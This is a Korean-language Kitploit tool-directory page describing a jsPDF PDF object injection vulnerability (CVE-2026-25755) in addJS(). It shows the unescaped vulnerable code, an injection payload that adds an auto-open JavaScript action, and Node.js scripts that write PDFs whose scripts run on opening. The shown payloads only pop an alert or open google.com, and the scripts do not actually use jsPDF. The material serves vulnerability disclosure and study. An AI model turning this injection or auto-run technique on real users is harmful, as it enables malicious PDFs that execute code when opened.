Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/absholi7ly/jspdf-object-injection
Vulnerability AnalysisExploitationWeb Application ExploitationPayload Development
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 jsPDF의 심각한 PDF 객체 주입 취약점으로, 공격자가 addJS() 함수를 통해 임의의 PDF 객체를 주입할 수 있어 AcroJS 샌드박스 우회 및 PDF가 열릴 때 자동 스크립트 실행이 가능합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
126개월 전아직 검토되지 않음
공유

CVE-2026-25755 샌드박스 우회 jsPDF 결함으로 객체 주입 발생

개요

jsPDF에서 치명적인 PDF 객체 주입 취약점(CVE-2026-25755)이 발견되었습니다. jsPDF는 클라이언트 측 애플리케이션에서 PDF 문서를 생성하는 데 널리 사용되는 JavaScript 라이브러리입니다. 이 취약점은 addJS() 함수에 존재하며, 공격자가 부적절한 입력 검증을 통해 임의의 PDF 객체를 주입하고 AcroJS 샌드박스 제한을 우회할 수 있게 합니다.


근본 원인

jsPDF의 addJS() 함수는 개발자가 생성된 PDF 파일 내에 JavaScript 코드를 삽입할 수 있게 합니다. 그러나 버전 4.2.0 이전에는 특수 PDF 구문 문자를 포함한 사용자 입력을 제대로 검증하지 못했습니다.

취약한 코드(4.2.0 이전)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

주입 벡터

이 함수는 이스케이프 처리 없이 사용자 입력을 PDF 객체 스트림에 직접 연결합니다:

  • 여는 괄호 (
  • 닫는 괄호 )
  • 백슬래시 \
  • 이로 인해 공격자는 JavaScript 문자열 컨텍스트를 조기에 종료하고 임의의 PDF 객체를 주입할 수 있습니다.

    PDF JavaScript 구조

    root@kitploit:~
    /JS (app.alert('Hello World'))
    

    주입 페이로드

    root@kitploit:~
    const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
    

    PDF 객체 스트림

    root@kitploit:~
    /JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
         ↑
         주입 지점 - 문자열 컨텍스트 이스케이프됨
    

    주입 메커니즘

    단계동작결과
    1)가 원래 /JS 문자열을 닫음문자열 컨텍스트 종료
    2>>가 현재 PDF 객체를 닫음객체 구조 손상
    3/AA << /Open << ...새 작업 사전 주입
    4임의의 PDF 객체 추가완전한 객체 주입 달성

    PoC 코드(Node.js)

    exploit.js라는 파일을 만들고 다음 내용을 작성하세요.

    root@kitploit:~
    import fs from 'fs';
    
    const pdf = `%PDF-1.4
    1 0 obj
    <</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
    endobj
    2 0 obj
    <</Type/Action/S/JavaScript/JS(
    app.launchURL\\('https://google.com',true\\);
    )>>
    endobj
    3 0 obj
    <</Type/Pages/Kids[4 0 R]/Count 1>>
    endobj
    4 0 obj
    <</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
    endobj
    xref
    0 5
    0000000000 65535 f 
    0000000015 00000 n 
    0000000092 00000 n 
    0000000275 00000 n 
    0000000352 00000 n 
    trailer
    <</Size 5/Root 1 0 R>>
    startxref
    431
    %%EOF`;
    
    fs.writeFileSync('exploit.pdf', pdf);
    

    페이로드

    root@kitploit:~
    import fs from 'fs';
    
    const pdf = `%PDF-1.4
    1 0 obj
    <</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
    endobj
    2 0 obj
    <</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
    endobj
    3 0 obj
    <</Type/Pages/Kids[4 0 R]/Count 1>>
    endobj
    4 0 obj
    <</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
    endobj
    xref
    0 5
    0000000000 65535 f 
    0000000015 00000 n 
    0000000089 00000 n 
    0000000172 00000 n 
    0000000249 00000 n 
    trailer
    <</Size 5/Root 1 0 R>>
    startxref
    328
    %%EOF`;
    
    fs.writeFileSync('exploit.pdf', pdf);
    
    root@kitploit:~
    node exploit.js 실행
    

    결과: exploit.pdf 파일이 같은 폴더에 생성되었습니다.

    도구 다운로드